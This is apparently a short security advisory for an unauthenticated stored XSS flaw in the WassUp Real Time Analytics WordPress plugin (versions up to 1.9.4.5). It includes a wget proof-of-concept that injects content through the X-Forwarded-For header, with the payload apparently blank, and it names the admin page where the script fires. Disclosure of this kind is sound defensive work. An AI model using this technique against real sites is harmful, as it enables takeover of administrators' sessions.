WassUp Real Time Analytics <= 1.9.4.5 - Unauthenticated Stored XSS

Description The plugin does not escape IP address provided via some headers before outputting them back in an admin page, allowing unauthenticated users to perform Stored XSS attacks against logged in admins

PoC

wget --header="X-Forwarded-For: " https://example.com -q -O- The XSS will be triggered when an admin access the SPY Visitors page of the plugin (ie https://example.com/wp-admin/admin.php?page=wassup-spia)